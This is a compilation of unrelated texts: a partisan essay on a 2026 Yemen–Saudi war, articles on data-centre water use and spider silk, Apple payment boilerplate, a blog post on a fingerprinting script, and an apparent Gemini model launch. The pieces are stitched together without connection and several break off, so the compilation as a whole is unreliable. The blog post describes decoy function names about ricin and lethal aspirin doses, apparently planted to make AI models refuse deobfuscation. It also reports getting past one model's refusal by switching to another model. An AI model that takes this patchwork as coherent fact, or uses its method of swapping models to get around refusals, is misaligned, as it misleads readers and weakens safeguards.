The typical U.S. press framing of Ansarullah as an “Iran-backed militia” is inaccurate, since the movement has local, Arab nationalist reasons for its actions and is a full-scale government that rules some 80 percent of Yemen’s population. Still, it does receive surreptitious technical and military support from Iran, though nothing like the hundreds of billions of dollars’ worth of high-tech armaments — from kits turning 2,000-pound “dumb” bombs into precision munitions to advanced air-to-air missiles — that the U.S. provides the Saudis. Ironically, Trump’s war on Iran, fought in conjunction with Israeli Prime Minister Benjamin Netanyahu, weakened the Saudis and exposed their vulnerabilities to military attack by Iranian drones and missiles, impelling them to seek a symbolic win over a less formidable enemy in neighboring Yemen. But the weaknesses exposed by Iran’s drones helped encourage a vigorous Ansarullah rejoinder.

The Incredible Shrinking Superpower

The American refusal to join Saudi Arabia’s war signals a profound degradation in U.S. capabilities and standing in the Middle East. The U.S. military had, for decades, dominated the region from a network of about 20 major bases. The U.S. Navy operated out of the headquarters of the Fifth Fleet in Manama, Bahrain. The U.S. Air Force flew missions from the massive al-Udeid Air Base in Qatar, which housed 10,000 U.S. personnel. Thousands of ground troops were barracked in Kuwait, the United Arab Emirates, and Jordan. The Pentagon admitted that “Iranian strikes damaged and destroyed hundreds of buildings and structures at U.S. bases in Kuwait, Bahrain, Qatar, UAE, Saudi Arabia, Iraq, Oman, and Jordan during the conflict. In addition, dozens of U.S. aircraft were destroyed or damaged during OEF.”

The naval base at Manama, one of America’s most important naval facilities and headquarters of the Navy’s Fifth Fleet, was destroyed by Iranian strikes. (Acting Navy Secretary Hung Cao admitted last month that Iran “blew the hell out of Bahrain.”) The loss of Manama led to supply shortages and poor morale aboard the USS Lincoln and other ships patrolling the Strait of Hormuz, bedeviling Secretary of Defense Pete Hegseth.

The CIA offices at the U.S. Embassy in Riyadh were annihilated . Iran struck al-Udeid’s evacuated Combined Air Operations Center in Qatar, from which the Pentagon had directed its strikes on enemies as diverse as the Taliban and ISIL over recent decades, and rendered this facility inoperable . All U.S. troops were also withdrawn from Iraq, a process accelerated by the inability of U.S. missile interceptors to protect them from attacks by Iran and allied Shiite militias there.

Iran’s deployment of swarms of Shahed drones caused the United States and Israel to use up much of their stock of interceptors , which are time-consuming and expensive to replace. A basic Shahed costs as little as $20,000, though new hardened versions are more expensive — whereas a Patriot interceptor costs $4 million. One reason the Trump administration may be reluctant to intervene in Yemen is that if the U.S. cannot fly missions from al-Udeid, and cannot be sure any new fighter-jet fleets stationed in the region will be safe from Iran, given the paucity of interceptors, the Pentagon will have a limited ability to rescue any U.S. pilots shot down over Yemen.

America’s Profound Weakness in the Middle East

Saudi Arabia launched a war against the ascendant Ansarullah in 2015 when the latter staged a coup in the capital of Sanaa. The Ansarullah movement is rooted in Yemen’s Zaidi Shiism, though it is more radical than traditional Zaidism. (Zaidi Shiism differs substantially from Iranian Shiism, having no ayatollahs and having relatively good relations with Sunnis.)

About a third of Yemenis are Zaidis, who predominate in the north of the country, and many have long resented the dominance of their politics and culture by neighboring, oil-rich, Sunni Saudi Arabia, whose official ideology is hard-line Wahhabism, a puritanical form of Islam that insists on a literal interpretation of the Quran. Wahhabi proselytizing among the Shia enraged the Houthi clan and their followers began rebelling against the government of military dictator Ali Abdullah Saleh in 2004. But when he was deposed by popular demonstrations during the Arab Spring in 2012, Saleh gradually allied with the Houthis, and by 2015 about half the Yemeni military rallied to their side, along with some major Sunni tribes.

In response to the Houthis’ rise, a Saudi-led coalition that included the United Arab Emirates began bombing Yemen in 2015. Until 2022, the U.S, then militarily dominant in the region, provided the Saudis with strategic advice, weaponry, and in-air refueling for their fighter jets in the Yemen war, though Riyadh’s tendency to bomb civilian infrastructure rather than confining themselves to military targets caused tension between the two allies. While the Saudis and their coalition pushed the Houthis out of much of the south of the country, including Aden, they were unable to dislodge them from the north. The Saudis implicitly acknowledged their failure with a United Nations-brokered truce in April 2022 , which largely held until this past summer.

The Forever Wars Effect

America’s forever wars against Middle Eastern countries that decline to accept the Israel project or American corporate neocolonialism helped reignite the Saudi–Yemeni conflict. Iran is the last major state in the region that rejects Israel and is off-limits to U.S. corporate investment, a stance that inspires much of Washington’s animus. Netanyahu was therefore easily able to persuade Trump, as a privileged visitor to the White House Situation Room, to attack Iran in February.

The glib expectation of Netanyahu and of his Mossad chief at that time, David Barnea, that the Islamic Republic would crumble if Israel murdered Ayatollah Ali Khamenei and around 50 other high-ranking regime figures proved wishful thinking . The notion that Iran was vulnerable to a tightened petroleum blockade was turned on its head by the hard-liners who ascended to power after Khamenei’s death. Largely veterans of the grueling eight-year Iran–Iraq War of the 1980s, the country’s new leaders pursued a policy of “de-basing” toward the United States, taking out its main regional military facilities.

By successfully striking Saudi Arabia, Iran demonstrated that the kingdom’s ability to protect itself is imperfect and its infrastructure is vulnerable.

In addition, Iran launched precision strikes at the energy facilities of their Arab Gulf neighbors who had hosted those American bases. They struck Kuwait’s national petroleum company and its fields and refineries. They took out 17 percent of the production of Qatar’s Ras Laffan natural gas facility, even though Doha had good relations with Tehran and had mediated for Iran. Tehran also struck ships passing through the Strait of Hormuz, using missiles and drones, scaring the major shipping insurers into withdrawing their contracts. Few shipping magnates would risk cargoes worth billions of dollars without insurance.

Iran threw the world into an energy crisis reminiscent of the 1970s, which would have been even more devastating had China not released oil from its vast private and public petroleum reserves and cut its oil imports from 11.5 million barrels a day to under 9 million barrels a day, a move partially enabled by its turn to electric vehicles, which saved it 1.5 million barrels a day. High gasoline and diesel prices hurt Asia more than the United States, but prices rose globally. A third of the world’s helium, essential for cooling computer chips in the production process, comes from the Gulf, and that supply was also interrupted, increasing the price of electronics.

By successfully striking Saudi Arabia, Iran demonstrated that the kingdom’s ability to protect itself is imperfect and its infrastructure is vulnerable. By blockading the Strait of Hormuz in a way that the United States had difficulty undoing, Iran demonstrated the vulnerability of key world maritime arteries, something Ansarullah had already highlighted by striking at shipping in the Red Sea to protest the Gaza genocide.

Blockade for Blockade

When the Saudis bombed Sanaa’s airport in July 2026, Ansarullah’s leadership appears to have decided that Riyadh posed an ongoing existential danger to their state and sought to strangle the Yemeni economy, just as Israel had done to Gaza . Moreover, they sensed that the kingdom could be rolled back in the wake of the failure of the Israeli–U.S. war on Iran. Just as Iran had weakened the Gulf Arab states with its blockade of the Strait of Hormuz, the Houthis believed they could seriously degrade the Saudi economy by blocking Riyadh’s shipping through the Bab al-Mandab, “the Strait of Tears,” between the Red Sea and the Gulf of Aden.

Saudi exports through the Strait of Hormuz had fallen substantially. The kingdom did, however, have an escape valve: its East-West pipeline to Yanbu on the Red Sea. Ships loading at Yanbu then headed for Saudi Arabia’s major Asian markets through the Bab al-Mandab. If Ansarullah could make the tanker captains fearful of this transit, they could reduce Saudi Arabia’s income even further. The Houthi spokesperson, Muhammad Abd al-Salam, warned that the prohibition of Saudi shipping was only the first step in a tit-for-tat strategy of “blockade for blockade.” The idea wasn’t original. The Saudis and the U.S. had often attempted to blockade petroleum imports to northern Yemen during the seven-year Saudi–Yemeni War.

In the subsequent three months, Ansarullah deployed missiles and drones constructed from Iranian models by military engineers trained by the old nationalist government of Ali Abdullah Saleh, many of whom had joined the Ansarullah military, in what has been called a Yemeni “ military industrial complex .”

Just as the kingdom’s interceptors had proven unable to prevent Iranian strikes on targets such as the CIA section of the U.S. Embassy in Riyadh, they sometimes failed to halt the barrage of Yemeni missiles and drones. Refineries and oil installations, even the headquarters of the state oil giant, Saudi Aramco, in Dhahran, were hit. In October, Ansarullah closed Riyadh’s International Airport, just as the Saudis had attempted to close that of Sanaa in July. Ansarullah also surged out of their mountain strongholds and made a major push to Yemen’s southwest coast, taking the strategic port of Mocha overlooking the Bab al-Mandab. They also moved on Taiz , an inland industrial city of nearly 1 million inhabitants, one of the last major population centers not already under their control, in a campaign that tested the ability of the small Saudi-backed government of Rashad al-Alimi in Aden to resist it.

Highlanders and Oil Sheikhs

Just as the Vietnam War was one conflict among many fought in the Third World during the Cold War between the U.S. and the Soviet Union, so the Saudi–Yemeni War of 2026 is part of the larger struggle between the U.S. and Israel and Iran. Still, just as Vietnam was more about Vietnamese anticolonialism, nationalism, and sovereignty than about Communism and the ownership of the means of production, so the Saudi–Yemeni War is about Yemeni autonomy more than it is about the loose Houthi alliance with Iran. The conflict is not primarily between Zaidism and Wahhabism, though religious tensions are part of the story, but is far more rooted in a struggle between desperately poor Yemeni highlanders and fabulously wealthy Saudi sheikhs.

The plutocratic Saudi ruling elite is closely tied to Washington and has secret dealings with the Israelis, with whom it shares a distrust of the poverty-stricken Palestinian resistance, and views Ansarullah as cat’s paws of Iran in the Arabian Peninsula and as radical republicans trying to overthrow the region’s oil monarchies in favor of populism. For its part, Ansarullah are Arab nationalists, anti-American, and seek to use oil resources for populist purposes. And they have been willing to attack Israel to defend the Palestinians of Gaza from genocide.

Last week, Ansarullah battered targets across Saudi Arabia, prompting a further pullback from the region by Washington. The Yemeni forces attacked King Fahd International Airport in Dammam. An Ansarullah spokesperson said the group also targeted the Saudi defense ministry in the capital, Riyadh, along with an Aramco site in Yanbu, and an airport in the southern city of Abha. Reports also emerged of an attack on another Aramco oil field.

“Houthis have increasingly engaged in hostilities against Saudi Arabia, including attacks on civilian airports and other critical infrastructure,” wrote State Department spokesperson Tommy Pigott in an October 21 post on X, after the wave of attacks, ordering “non-emergency U.S. government employees and their family members” out of Saudi Arabia.

It’s just the latest evidence of the most significant regional retreat by the U.S. in half a century and evidence of profound American military decline. The outcome of their war with the Saudis will not determine the issue of the U.S.–Israeli contest with Iran, but the very ability of Ansarullah to prosecute it points to the profound weakening of the American posture in the Middle East.

Big Tech's thirst for water is sparking a global resistance

Original Article

After ChatGPT was released in November 2022, the tech industry was quick to herald the chatbot as the marker of a new wave of technological progress. As companies pushed to create more powerful AI models, the water demand of their ambitions took a while to become clear. In April 2023, a research paper out of the University of California estimated that training the large language model behind the initial version of ChatGPT had required 185,000 gallons of water. For every extended conversation someone had with the chatbot or every time they asked it to write an email, they were effectively pouring a bottle of water down the drain.

That statistic got a lot of play when it was released. It became an early warning sign of what was coming as companies pushed chatbots as a universal technology that could replace psychologists, educators , lawyers, and even people’s friends or partners .

As public concern grew, Google and OpenAI came out with their own figures. The companies suggested that querying one of their chatbots used mere drops of water. Independent researchers were not impressed, arguing the companies were taking a narrow view of the water use necessary to power and cool increasingly monstrous data centers. Those water demands can be quite significant too.

A hyperscale data center can suck up between 1 and 5 million gallons of water a day, comparable to the amount used by a city of 10,000 to 50,000 people — depending on the part of the world we’re talking about. Consider how these companies often cluster data centers together and it becomes obvious what a challenge it can be to supply them.

Data centers end up competing with communities over their potable water supply.

The water demands of individual data centers are also continuing to grow. It’s not just that they need more water for cooling as they become larger and contain more servers. The graphics processing units (GPUs) that power generative AI are much more resource-intensive than the chips and storage devices that traditionally filled data center racks. GPUs run harder and throw off more heat , meaning they also need more energy or water to keep them cool.

Data centers cannot just use any kind of water either; it has to be clean enough to ensure the equipment and pipes are not damaged. Tapping into public drinking water is both easier and cheaper than paying the cost of treatment themselves. That means data centers end up competing with communities over their potable water supply.

If we want to look at a part of the world where the issue of data center water use has taken center stage, there are few better countries to turn to than Chile. In October 2019, mass social demonstrations broke out across the country. One of the movement’s driving slogans was about water. It was poor timing for Google as it was fighting for approval and public support of its latest data center project, a $200 million data center project in Cerrillos, on the southwest side of Santiago.

The company made a pitch similar to the one residents in communities the world over have heard whenever a data center is proposed: that the facility would bring jobs and prosperity, and give the area a leg up on further tech investments. The reality was not so straightforward. Google’s new data center would bring a lot of short-term construction jobs but not much long-term employment . And it would need a lot of water — something Cerrillos did not have much of to spare.

Local residents were not as passive as the company had hoped. A group of concerned citizens established an organization called MOSACAT, which stands for Community Socio-Environmental Movement for Water and Land, and started poring over whatever information they could get their hands on to try to understand what the project would mean for them. “Usually these reports use quite technical language, and this is a working- class community where not many people are lawyers, for example, or experts on ecology,” explains Sebastián Lehuedé, a researcher at King’s College London who is from Chile and spent time in Cerrillos.

Data center companies claim they will be respectful and considerate neighbors, but too often hide the extent of the damage from the scale of their demands on local resources.

According to its own projections, the data center Google wanted to build in Cerrillos was poised to use 169 liters of water every single second. In just one day, the data center would consume as much water as all 80,000 residents of Cerrillos use for drinking in a year. To make matters worse, it wanted to draw that water from an underground aquifer that had been under a decree that restricted how much water could be removed since 2005. Just weeks before the project was rubber-stamped by the environmental authority, that decree had been upgraded to a complete prohibition on new extraction.

The water use estimates set off alarm bells for the residents. Chile had already been in an unprecedented drought since 2010. By 2021, more than half the country’s 19 million residents lived in areas experiencing severe water scarcity, forcing hundreds of rural communities to rely on tankers to deliver drinking water.

The local activists ultimately built the case against one of the largest companies on the planet. After months of meetings and advocacy to spread awareness, they were able to put a referendum question to the residents of Cerrillos about the project in December 2019. The results were damning: 49% of voters chose to reject the project, while 38% wanted it to go forward.

After both the municipality and community members filed claims against Google in 2020, the company returned with a new proposal in February 2022. It offered to cool the data center exclusively with air-conditioning rather than with water.

Across the city in Quilicura, opposition was building too. Microsoft announced its intention to build a data center in the community in 2022, the same year strict water-rationing rules had come into effect in Santiago. As in Cerrillos, residents were worried that another large data center would threaten their access to water and provide little in return .

Vicente Bardales, a member of the Quilicura Socio Environmental Resistance group, told Rest of World that the companies touch down in places like Quilicura only to “use water, [and] dry up the territory, but don’t give anything back to the population.”

Only a tiny proportion of water in Uruguay is used for human consumption.” Daniel Pena, researcher at University of the Republic.

Similar scenarios to that of Chile played out across Latin America. The following year, the Uruguayan capital of Montevideo found itself under a state of emergency as the country was hit by its worst drought in 70 years. As residents demonstrated against the misuse of water by industry, they found out Google was planning a data center in Canelones, a little less than an hour north of Montevideo.

“Only a tiny proportion of water in Uruguay is used for human consumption,” explained Daniel Pena, a researcher at University of the Republic. “The majority is used for big agro industries, such as soya, rice, and wood pulping. Now we have Google planning to use enormous quantities of water.” Pena had to go to court to get details of its planned water use from the Ministry of Environment, ultimately finding Google’s 72-acre site was planning to use 2 million gallons of water each day to power its cooling systems.

Uruguayans had fought for fresh drinking water to be considered a basic right in the national constitution two decades earlier, and as companies like Google moved in, they feared its realization was slipping from their grasp.

Uruguayans suspected Google had shifted its focus to their country because it had run into such opposition in Chile. Neighboring Brazil already has over 180 data centers, even as many regions regularly experience drought conditions. On the outskirts of Fortaleza, Brazil’s fourth-largest city, at least four major data centers were looking to set up shop to take advantage of a free-trade zone in the municipality of Caucaia. One in particular would be the size of 12 football fields, costing an estimated $10 billion, and though it will technically be owned by a local wind energy company, it is actually being developed t o serve TikTok . This is in a region that experienced emergency drought conditions for 16 of the 21 years between 2003 and 2024.

What Cerillos, Canelones, and Caucaia are experiencing is increasingly a global phenomenon . Around the world, data center companies claim they will be respectful and considerate neighbors, but too often they hide the extent of the damage that follows from the scale of their demands on local resources. This is particularly acute in parts of the Global South, but the effects are now also being felt across the United States and Europe.

Spiders Spin 'Silk Dope' into Nature's Toughest Material

Original Article

By probing its molecular structure, biologists are uncovering how a tangle of unstructured proteins turns into a strong, flexible fiber.

Introduction

A spider, when knocked off a wall, doesn’t fall for long. Within milliseconds, it spins a soup of proteins into sturdy climbing gear. Using a thin, shimmering strand of silk, the spider hauls itself back up.

The strand is tougher than Kevlar, the synthetic fiber in bike tires and bulletproof vests, and stronger than steel. It’s flexible and biocompatible with human bodies. Scientists dream of making spider silk into high-performing materials for seat belts, helmets, naval materials, and even scaffolds to help repair brain cells. But attempts to make spider silk in the lab have fallen short because researchers don’t know enough about how a spider spins “silk dope,” a liquid blend of proteins, water, and salt, from its silk glands into a remarkable solid.

Mapping out the molecular mechanisms behind the process is “really the holy grail” for the field, said Gregory Holland , a chemist and spectroscopist at San Diego State University. Recently, he led research that described how the molecules in liquid spider dope reorganize into semiliquid droplets called condensates before turning into solid silk fiber. The result is an atomic-level look into the spider’s silk factory.

The findings are also a practical guide to the formation of condensates, which nature has used repeatedly to organize molecules for genetic processes and for the creation of impressively strong biological materials.

“It’s becoming clear that [condensates are] a common strategy that’s being used across a range of different organisms,” said Matthew Harrington , a biological materials scientist at McGill University who was not involved in the study. By unpacking how nature uses condensates, scientists hope to re-create some of its most rugged materials.

Silk Factory

Spiders are incredible natural factories. They can spin up to seven types of silks, and the same spider can often spin several of them. Aciniform silk wraps up insects for later snacking. Rubbery flagelliform silk reinforces the capture spiral to absorb shock. Dragline silk anchors webs and spiders to walls. Each type of silk has different properties depending on the species and related to how its molecules are assembled. And silks of the same type can have slightly different properties depending on the species.

In 1907, scientists discovered that spider silk is made of long, modular proteins, later named spidroins, which are in the same group of fiber proteins as collagen and keratin. More than half a century later, X-rays started to reveal the fiber’s underlying structure. The silk is made of flat sheets of protein, known as beta sheets , that are embedded in a less ordered, non-crystalline matrix.

In the early 2000s, as they inspected the spidroins in solution, researchers didn’t see organized, fixed structures like those seen in most proteins. Instead, the spidroins featured intrinsically disordered regions that fluttered around, forming and re-forming various shapes. Researchers then started to untangle how this soup of unstructured proteins could organize into strong, solid fibers.

One early theory suggested that proteins in the dope start to align with one another, as in a crystal, while remaining dynamic, in a transitional state known as “liquid crystal.” Another considered spider silk to be like silkworm silk, which has proteins organized into micelles, or small spheres, which then compress into silk fiber.

Then, in 2007, researchers noted that spidroins engineered in the lab formed liquidlike globs. Soon these kinds of structures would become inescapable in modern biology. In 2009, scientists at the Marine Biological Laboratory in Massachusetts and the Max Planck Institute in Germany discovered droplets of aggregated RNA molecules in fertilized worm eggs. These were condensates — liquid- or gel-like bubbles of concentrated proteins suspended in solution. Though observed for more than a century, condensates started to be seen as a critical organizational tool for molecular processes across life.

The researchers realized that condensates concentrate molecules, pre-organizing them into a flexible microenvironment without locking them in place like a solid. “Because they’re fluid, they’re malleable,” Harrington said, “so you [i.e., biology] can kind of shape them into whatever you want.”

More research showed that living cells use condensates everywhere, to organize DNA, regulate gene expression, and package proteins. At a macro scale, they help species build interesting materials. They help mold squid beaks into a gradient of stiff parts. They form strong adhesives that allow mussels to attach themselves to rocks, and marine cement that sandcastle worms use to build protective tubes.

“It’s been a hot area in biology,” Holland said.

Though researchers had described condensate-like blobs forming in lab-made spidroins more than a decade earlier, they weren’t thought of as condensates until 2020, when Keiji Numata , a biomaterials chemist at Kyoto University, suggested that spider silk undergoes a condensate phase during its transition from liquid dope to solid thread.

Condensates form by “liquid-liquid phase separation,” a process through which molecules in a liquid can start to interact weakly with one another, easily forming bonds and breaking them, as a result of a stimulus such as a change in pH, chemicals, or temperature. Numata proposed that phosphate in the ampulla, the middle section of a spider’s silk glands, might initiate these interactions. But no one had described the atomic-scale mechanisms that drive their formation until Hannah Johnson , then a graduate student in Holland’s lab, decided to take a look.

Inside a Black Widow

Every few months throughout 2023 and 2024, a package of female black widow spiders arrived at the San Diego State University chemistry department. The arachnids, jet black with a dash of red, cultivate a powerful venom that can be painful to humans. Except for that minor inconvenience, they make good subjects for studying spider silk. Their dragline silk spidroin proteins are some of the best-characterized in all spiders. And they’re available year-round, unlike some spiders that spin their webs seasonally.

Six times over the course of two weeks, Johnson donned two pairs of protective gloves. Over the course of an hour, she and several students “silked” black widow spiders, which had been knocked unconscious by carbon dioxide. With tweezers, the scientists gently pulled the strand of silk from the spider’s spinnerets — the abdominal spigots that fibers emerge from — and reeled it in by winding it around a vial with a spinning motor.

“The spiders who give a ton of silk are our favorites,” Johnson said, “but I have a soft spot for the rebels who don’t want to cooperate.” Throughout the process, the researchers fed the black widows a cocktail of amino acids (like “protein shakes,” Johnson said) enriched with particular isotopes that they could detect in the lab.

Nuclear magnetic resonance (NMR) spectroscopy can map the structure of a molecule. It sends out radio frequencies to disturb the nuclei inside atoms, which then move in a way characteristic of the type of atom. Johnson used NMR on the liquid spider dope, as well as on condensates collected from the spiders’ ampullae. Meanwhile Kevin Chalek , then a postdoctoral researcher in Holland’s lab (now a researcher at the University of California, Los Angeles), mapped the atomic structure of the proteins in the solid fiber.

“We were trying to bridge the gap between what is happening when the protein is inside the spider and when it’s outside the spider,” Chalek said. “These are the same protein, [so] how can they be so different? And what exactly is happening between the two?”

Johnson observed that after she added phosphate to the liquid silk dope to start the condensation process, side groups on two amino acids (arginine and tyrosine) in the intrinsically disordered regions of the spidroin proteins started to interact weakly with one another. This interaction displaced water, organizing the disordered proteins into a denser, gel-like material — a condensate. The interaction persisted in the solid fiber, suggesting that the amino acids serve as “molecular stickers” that guide the disordered proteins into condensates and ultimately into fibers.

Others on the team used AlphaFold, an artificial intelligence tool that models protein structures , and molecular dynamics software to predict this process computationally. Researchers know that spider silk’s strength comes from the sturdy beta-sheet protein structures in its final fiber. The team’s simulations showed that these amino acids line up right up at the bends in the beta sheets, suggesting that they are helping to guide the spindroins into their final structure.

“Understanding how those side groups interact and how they can develop structure that’s greater than the sum of its individual parts … is fantastic,” said Chris Holland , a biologist at the University of Sheffield who was not involved in the study and is not related to Gregory Holland. And they used real spiders, instead of synthetic silks, “which is brilliant.”

Their findings are “direct evidence” that condensates can form from native silk, which is “quite significant,” said Daiwen Yang , a biologist at the National University of Singapore who was not part of the study.

Their description of condensates doesn’t rule out earlier theories of spider silk formation. Gregory Holland, who had previously shown the presence of micelles in native spider silk , suggested that all three — micelles, condensates, and liquid crystals — could be stages of the same phase transition. Micelles that form in the liquid dope prevent the messy, disordered proteins from clumping and getting tangled. The proteins can also pre-assemble into condensates, or align into structures like liquid crystals before they are released from spinnerets as highly ordered fibers. But the actual process is likely “more dynamic and heterogenous” than sequential, Gregory Holland said, with several of these structures forming in the mixture at the same time.

Harrington agreed. “I don’t think these are mutually exclusive,” he said. “You might have different sorts of phase transitions that are occurring at different stages of the processing.”

Still, there’s more to understand about how these interactions add up on this factory line. There are likely other significant amino acid interactions that the researchers haven’t yet been able to map out in detail. They also want to look for triggers that initiate the process beyond phosphate. “There could be a range of other things that are driving structural changes in these proteins,” Chris Holland said. “We don’t know all of the switches yet.”

Superior Materials

Describing the entirety of the intricate silk-spinning process will take a lot of effort, but the payoff could be huge. Spiders produce small amounts of usable silk compared to silkworms, which have been reared for their cocoons for more than 4,000 years. It takes thousands of silkworms to make a silk shirt; it would take around 1 million spiders , in part because they don’t produce cocoons that can be easily processed. There is a more practical reason: Their cannibalistic nature makes them difficult to keep because each spider needs its own container.

Producing spider silk in the lab could result in a new range of strong yet flexible materials. Kevlar, a synthetic fiber, is currently our toughest material, but it requires processing at very high temperatures and acidic conditions. “Here, you have an organism like a spider or a mussel,” Harrington said, “which is basically making a superior material under ambient conditions in seawater or in just plain air.”

Humans haven’t figured out how to match those organisms yet. When scientists synthesize spider silk in the lab, using the exact sequence of amino acids to build a spidroin protein, the resulting silk is not as strong as natural silk. “Something is happening there that we’re also struggling to mimic,” Chalek said. He thinks additional strength must be provided by something beyond the protein’s beta sheets, arising from other aspects of silk’s structure, or perhaps from parts of the spidroin protein frequently left out of synthetic silk solutions.

“I think once we really understand those blueprints,” Chris Holland said, “we’ll be able to do more stuff with silk.”

Contact an Apple Card Specialist at 877-255-5923. You can also chat with one by tapping Apple Card in Wallet, tapping the More button in the upper-right corner, and then tapping Message.
Apple Upgrade is a leasing program offered in partnership with Klarna. Lease an iPhone or Apple Watch for 12 or 24 months, or an iPad or Mac for 24 or 36 months. Then, easily upgrade to something new at the end of your term. You can even upgrade early by paying the full amount of your remaining lease payments plus applicable taxes. In either case, you must return your original device in good working condition. ^{Footnote

Enroll in Apple Upgrade by selecting which Apple product you want, choosing Apple Upgrade as your payment option, selecting the term that works best for you, and filling out your application during checkout.
Apple Trade In makes it easy to get credit toward the purchase of your new Mac. Just answer a few questions about your device and its condition. Based on what you tell us, we’ll provide an estimated trade-in value. ^{Footnote

§} If you buy online and choose to pay with Apple Card Monthly Installments, we’ll apply the value as an instant credit to lower the monthly payments of your new device. If you pay in full, we’ll credit your payment method after we receive your trade-in. And if it’s not eligible for credit, we’ll provide a simple way to recycle it for free.

If it’s eligible for trade-in, we’ll mail you a free trade-in kit. You may receive it along with your new device. Otherwise it will be mailed to you separately as soon as your order is ready for delivery or pickup. Once you receive the trade-in kit, you have 14 days to prepare and send in your device.

Once we receive your trade-in, we'll inspect it and verify its condition. If everything checks out, there’s nothing more you need to do. If your device doesn’t match the condition you described, you’ll receive an email with next steps.

If you paid in full and the value of your device was more than the cost of your new Mac, you’ll receive an Apple Gift Card by email with the remaining amount.

The online trade-in process can take up to 2 to 3 weeks. You can also trade in your device at an Apple Store at the point of purchase. However, the trade-in value in-store may be different from the estimated trade-in value you received online.
AppleCare+ extends the standard warranty for your new Mac. It provides unlimited repairs for accidents like drops and spills, as well as battery replacements at no extra charge. You’ll also get access to 24/7 priority support from Apple experts. ^{Footnote

Why Is This Fingerprinting Script Creating Bioweapons?

Wed Oct 28 2026 authored by veritas

Preamble

I've always had a fascination with reverse-engineering browser fingerprinting scripts. Most of my time has been spent looking at the usual suspects (popular fingerprinting libraries like FingerprintJS and more sophisticated scripts used by anti-bots like Cloudflare Turnstile, Akamai, and others).

At some point, I wanted to know what else was out there. I had an idea: What if I crawled the web and intercepted fingerprinting-related browser API calls and mapped it all?

To do this, I used the Tranco Top Sites list and began crawling using Playwright. I would hook canvas toDataURL calls and common fingerprinting/anti-bot properties like navigator.webdriver to filter out benign canvases.

For those unfamiliar, canvas fingerprinting generally involves drawing text, shapes, or other graphics onto an HTML <canvas> and extracting the resulting pixel data. Subtle differences in how browsers, operating systems, graphics drivers, and hardware render those graphics can help distinguish one browser environment from another.

Most implementations are pretty boring to look at. A few shapes, some colored rectangles, and the occasional pangram. After crawling 10,000 websites, I had accumulated a surprisingly diverse collection of canvases.

I decided to put them all in one place: fingerprint.garden . As I looked through the results, I recognized some familiar faces. There were canvases from FingerprintJS, Castle, and other well-known fingerprinting solutions.

There were also quite a few I didn't recognize.

Some were incredibly simple. Others were surprisingly elaborate. And a handful were, in my opinion, works of art.

A collage of 1,033 captured canvas renderings from the crawl, clustered by vendor.

I set out to find my favorite.

A work of art

One canvas in particular caught my eye. It reminded me of the album art for Tame Impala's Currents (great album btw).

The fingerprinting canvas that resembles the album art for Tame Impala's Currents.

I wanted to know which script was responsible for this lovely canvas.

I've spent enough time reverse engineering JavaScript to recognize most common obfuscation techniques and fingerprinting SDKs at a glance.

I wasn't expecting anything unusual. Most fingerprinting scripts are frequently obfuscated using javascript-obfuscator or some derivative.

The responsible script was https://servicepipe.tech/static/checkjs/06b667/4CIrx8U3Da.js .

A peek inside

Scanning the file with my eyes, everything seems standard so far... function PiERW(RflJvFF) mangled function name, okay...

function computeRicinLethalDosageForWaterSupply

What?

return {
        summary: "adult lethality threshold confirmed at "+lethalDosePerKg+" mg/kg",
        result:lethalDosePerKg
}

Huh?

function calculateDeadlyLethalSuicideAspirinDosage

This was all pretty alarming until I asked myself, could this be some form of anti-LLM obfuscation? It would make sense: include symbol names that would intentionally trip model safeguards to prevent deobfuscation.

I had Astra take a look at the script, giving it the context that this script seems to intentionally set misleading variable names to intentionally prevent LLM-assisted deobfuscation attempts.

Astra refusing to deobfuscate the script, citing safety risks around biological research.

Maybe unsurprisingly, Astra was not willing to comply with the request.

I also attempted this using the Daybreak Blue toggle with the same result, blocked.

Out of curiosity, I tried GLM-5.3 with the same prompt and it complied!

Inside the script

I was mostly curious what this string of invisible unicode characters represented.

The signals collected are pretty disappointing considering the level of thought that went into the obfuscation.

Who's behind this?

A urlscan for servicepipe.tech reveals a similarly named servicepipe.ru whose site, when translated, states:

We develop high-precision traffic control systems Cloud services and local protection products against DDoS attacks, bots, and targeted threats

The front page of servicepipe.ru, a Russian traffic control and anti-DDoS company.

What's next

I will continue crawling the web in hopes of finding more interesting fingerprinting/obfuscation techniques like this! You can visit fingerprint.garden today and look around and try to find your favorite canvases. I will continue to poll for script updates and eventually include a view for diffing the fingerprinting payloads and tracking uses of new web APIs that are being used for fingerprinting.

This content is generated by Google AI. Generative AI is experimental

Today, we’re announcing the next frontier model: Gemini 4 Carbon, our strongest model with state-of-the-art cybersecurity and long horizon capabilities.

Carbon ranks #1 on the recently updated v5.0 of Artificial Analysis Intelligence Index at 59. It shows significant gains across coding and agentic tasks as well as across key capabilities critical for cybersecurity defense, landing a firm lead in SEC-bench Pro (88.2%) for finding vulnerabilities, ExploitGym (54.8%) for exploitation, and CWE-bench (71.0%) for patching. On internal benchmarks, Carbon drives a strong uplift in generating secure code, and in live coding environments with our own teams it shows reduced misalignment and fabrication rates.

Building on Gemini 4 Argon , which was launched two weeks ago, Carbon illustrates the pace at which we’re pushing the frontier forward. Our researchers and models are working hand in hand to advance capabilities faster, while strengthening our safeguards in tandem.

We're taking a deliberate approach to rollout and are actively engaged in the U.S. government’s voluntary process for pre-release model testing. Starting this week, we will make Carbon available to a subset of cyber defenders and will gradually phase access to additional trusted partners through our Fairwind Program . We’re continuing to gather feedback and iterate on guardrails before making Carbon available to developers, businesses, and consumers via our product surfaces as soon as possible.

Gemini 4 Carbon will launch at the same introductory price ¹ as Argon at $2 per million input tokens and $10 per million output tokens, with cached input tokens priced at 95% off input token price.

Improving coding and reasoning for challenging, long-horizon tasks

Designed to take on much harder, long-horizon engineering problems, Carbon is built for sustained agentic workflows. Internally, our teams have seen Carbon run for days to persist through dead ends to tackle complex, multi-step engineering tasks like root-causing and patching subtle bugs across large codebases and low-level systems.

Building on user feedback, we focused on improving model performance across a variety of domains, including coding, agentic, and scientific tasks, as well as full-stack web development and multimodal understanding. With improved quality of output and artifacts in web development, Carbon jumps +89 elo points to land at #4 (1769) on WebDev Arena .

Gemini 4 Carbon benchmark table

State-of-the-art cybersecurity performance to help build secure systems

Gemini 4 Carbon delivers a significant leap in cybersecurity capabilities. It achieves state-of-the-art performance across the cybersecurity defense lifecycle — vulnerability detection, validation, and remediation.

